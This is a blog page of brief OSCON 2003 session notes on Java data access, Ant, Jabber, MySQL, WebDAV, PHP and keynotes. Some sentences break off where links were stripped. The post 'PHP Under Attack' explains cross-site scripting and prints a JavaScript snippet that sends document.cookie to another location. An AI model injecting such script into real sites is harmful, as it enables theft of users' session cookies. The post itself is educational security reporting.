Charles Engelke's Blog

July 28, 2003

Java Data Objects (JDO): What

Filed under: Usha Suryadevara — Charles Engelke @ 9:10 am

Java Data Objects (JDO): What It Is and Why It Matters by Ron
Hitchens, Ronsoft Technologies.


Looking beyond JDBC by Satya Komatineni, Active Intellect, Inc.

Filed under: Usha Suryadevara — Charles Engelke @ 9:10 am

Programs in Java use JDBC to access data from a database. Such programs using this base level abstraction have multiple issues:
* SQL is directly embedded in the java code,
* The data sources are hard coded into
the java code,
* Connections are explicitly opened and closed by each programmer,
* Cursors and Statements are explicitly managed in the code.



Applied Ant by Erik Hatcher,eHatcher Solutions, Inc .

Filed under: Usha Suryadevara — Charles Engelke @ 9:10 am

Apache Ant is a Java-based build tool. The session started with Ant is kind of like make. Ant is extended using Java classes. Instead of writing shell commands, the configuration files are XML-based, calling out a target tree where various tasks get executed. Each task is run by an object that implements a particular Task interface.

Ant has been awarded the Java Pro 2003 Readers’ Choice Award for Most Valuable Java Deployment Technology. However, it can also be used for other
technologies like XML, web services and web applications.


Automated Testing of Large Projects

Filed under: Usha Suryadevara — Charles Engelke @ 9:10 am

Automated Testing of Large Projects with Perl
by Andy Lester


July 16, 2003

O’reilly Open Source Convention – Presentation Files (July 7-11, 2003)

Filed under: Ozette Brown — Charles Engelke @ 10:37 am

Download the presentation files from the conference here.


July 15, 2003

OSCON 2003 Tutorials

Filed under: Ricardo Havill — Charles Engelke @ 12:52 am
Embracing and Extending RT Tutorial

Request Tracker is a customizable trouble ticketing system written in Perl.
The fundamental entity in RT is the ticket. The definition of a ticket depends on how RT is being used. For example,
customer support requests, bugs in software or items in a to-do list could be tickets in RT. RT allows user interactions to take
place with email or with a web browser.

Jabber Bootcamp

Jabber is a XML protocol for instant messaging and presence detection. The Jabber
protocol is officially known as XMPP (Extensible Messaging and Presence Protocol) by IETF. It may be used
as a substitute for programs like AOL Instant Messenger and Yahoo Messenger. Uses of Jabber are not limited to
instant messaging. Other possible uses include presence detection of devices (or people), sending structured data between
clients and a content delivery system.

Network Programming in Python

Python is a high level object oriented programming language. Simple client and
server applications can be written in Python much faster than in most languages used today. During his presentation,
Steve Holden demonstrated a client/server application, an SMTP client, a POP3 client, a FTP client, a HTTP client and
a HTTP server. The HTTP server was written with three lines of code. Copies of Steve’s demo programs may be downloaded

Programming Web Services With PHP

This tutorial began with a description of the XML-RPC and SOAP protocols. The most important point discussed about
XML-RPC and SOAP was that XML-RPC is much easier to use and understand than SOAP. In many cases people have been
using SOAP when a simpler protocol like XML-RPC would suffice. The rest of the session consisted of
example PHP programs that used these protocols. The PHP SOAP extensions are usable, but they are not completely coded.
More info about this tutorial is available here

July 14, 2003

PHP Under Attack

Filed under: Ricardo Havill — Charles Engelke @ 10:15 pm

During his Thursday session at OSCON 2003, Chris Shifflett explained two types of
security vulnerabilities that may exist in a web site. The examples presented used
the PHP programming language, but these vulnerabilities may occur in CGI programs
written in any language. A copy of the presentation should be available

Cross Site Scripting

Cross Site Scripting (XSS) exploits the trust a user has for a web site. It
usually involves sites displaying foreign data such as web mail applications,
web forums and guest books. XSS may be used to trick a user into executing malicious
scripts and to steal cookies. Web sites often use cookies to determine whether a
user has authorization to perform certain actions. The following Javascript code
may be used by a hacker to steal a user’s cookies:

&lt script&gt
document.location = "" + document.cookie


July 13, 2003

Saturday, July 12, 2003: On the plane

Filed under: Ozette Brown — Charles Engelke @ 6:20 pm

Leaving Portland

  • It’s 6:35pm EDT and we are almost near Atlanta
    I lucked out and got a whole row to myself.
    Uh oh, we’ve started to decent into the
    ATL area. The flight was just a little bumpy
    but for the most part it was pretty smooth.
  • (more…)

    OSCON Day 5: Session – Benchmarking MySQL Queries

    Filed under: Ozette Brown — Charles Engelke @ 6:19 pm

    Why Benchmark?

  • what’s going to break
  • where will it break
  • does the server scale gracefully
  • monitor the system
  • (more…)

    OSCON Day 5: Session – MySQL Scaling Pains

    Filed under: Ozette Brown — Charles Engelke @ 6:19 pm

    This session is given by Jeremy Zawodny. He works for Yahoo as their MySQL guy with their Platform Timing Group. He
    also actively contributes to testing MySQL and he personally knows Monty Widenius (Co-Founder and chief developer
    of MySQL).


    July 11, 2003

    Closing Keynote: Tales from the Two Towers

    Filed under: OSCON 2003 — Charles Engelke @ 2:17 pm

    Milton Ngan of Weta Digital is going to talk about creating the visual
    effects for the Twin Towers using open source. I can’t type with my PC on
    my knee, and there will probably be a lot of eye candy I couldn’t describe
    anyway, so that ends this post!

    Session: Using WebDAV

    Filed under: OSCON 2003 — Charles Engelke @ 2:10 pm

    Greg Stein of CollabNet is presenting. WebDAV is web-based distributed
    authoring and versioning. Often just called “DAV”. This turns the web into
    a writable medium that enables interoperability of web authoring tools.
    It’s based on extension to HTTP, and uses XML for properties, control and


    Session: Building a Smarter Search Engine – Artificial Stupidity

    Filed under: OSCON 2003 — Charles Engelke @ 1:18 pm

    This side room has a few tables, so I can probably take more notes. (I
    really wish I’d been able to take more notes for George Dyson’s talk earlier
    this morning._ This talk is being given by Maciej Ceglowski, Aaron
    Coburn, and Seth Raphael of the National Institute for Technology and Liberal
    Education (NITLE), or will be, once they get the projector working. NITLE
    is a consortium of liberal arts colleges.


    Keynote: Beyond .NET: The Mono Project

    Filed under: OSCON 2003 — Charles Engelke @ 11:55 am

    Miguel de Icaza will talk about the open source framework he’s working on
    that’s similar to(?)/compatible with(?) Microsoft’s .NET. I know it started
    as an effort to be a plug-in replacement for most of .NET, but I think it
    may have been scaled back.


    Keynote: Von Neumann’s Universe

    Filed under: OSCON 2003 — Charles Engelke @ 11:32 am

    It’s the last day, and it’s only going to be a half day. They’ve removed
    all the tables from the rooms, so I won’t be writing much. I can use the
    computer on my lap, but I can’t type well that way.


    OSCON Day 4: Session – Emerging Open Source Business Strategies

    Filed under: Ozette Brown — Charles Engelke @ 3:28 am

    So, this was a high level talk about the commoditization of software, particularily Open Source software.


    OSCON Day 4: Session – Open Source and Open Standards

    Filed under: Ozette Brown — Charles Engelke @ 2:08 am

    This is more of a philosophical discussion. It was very helpful to get a different point of view on things “open”.


    OSCON Day 4: Session – Amazon Web Services, Past, Present and Future

    Filed under: Ozette Brown — Charles Engelke @ 2:06 am

    Amazon extensively uses webservices.


    July 10, 2003

    Session: Transforming XML for Web and Print

    Filed under: OSCON 2003 — Charles Engelke @ 7:58 pm

    Michael Kruckenberg of Tufts University is going to talk about his
    experience in getting lots of existing and new documentation all available
    both on the web and on paper.


    Perl Certification

    Filed under: OSCON 2003 — Charles Engelke @ 7:19 pm

    Dr. Tim Maher of CONSULTIX, Damian Conway of Monash University,
    W. Phillip Moore of Morgan Stanley, Karen Pauley of Kasei, and
    Timothy Wilde of participate in a panel discussion of Perl
    certification. Before we get started, I’ll just note that I’m not a fan of
    programming language certification. A general programming
    certification might be useful, but looking at one language is too narrow.


    Next Page »

    Blog at